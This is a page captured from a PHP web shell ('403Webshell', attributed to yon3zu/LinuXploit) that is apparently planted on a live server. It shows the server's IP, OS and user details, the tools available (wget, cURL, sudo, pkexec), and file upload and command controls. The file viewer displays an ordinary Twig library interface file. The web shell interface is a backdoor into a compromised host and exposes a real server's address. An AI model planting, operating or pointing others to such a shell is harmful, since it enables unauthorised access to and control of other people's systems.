403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/php/Twig/Node/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/php/Twig/Node/CoercesChildrenToStringInterface.php
<?php

/*
 * This file is part of Twig.
 *
 * (c) Fabien Potencier
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Twig\Node;

use Twig\Node\Expression\OperatorEscapeInterface;

/**
 * Implemented by nodes that implicitly coerce one or more of their child
 * nodes to string at runtime (PHP string casts, regex matching, comparisons,
 * range bounds, template-name resolution by the loader, etc.).
 *
 * The sandbox node visitor wraps the listed children with a CheckToStringNode
 * so that an implicit `__toString()` call goes through the sandbox policy
 * check, independently of where this node's result is used.
 *
 * This is distinct from {@see OperatorEscapeInterface}, which describes
 * operands whose value becomes this expression's value (passthrough operators
 * like ternaries) and is consumed by the escaper.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
interface CoercesChildrenToStringInterface
{
    /**
     * Returns the names of the child nodes that will be coerced to
     * string when this node is evaluated.
     *
     * @return string[]
     */
    public function getStringCoercedChildNames(): array;
}

Youez - 2016 - github.com/yon3zu
LinuXploit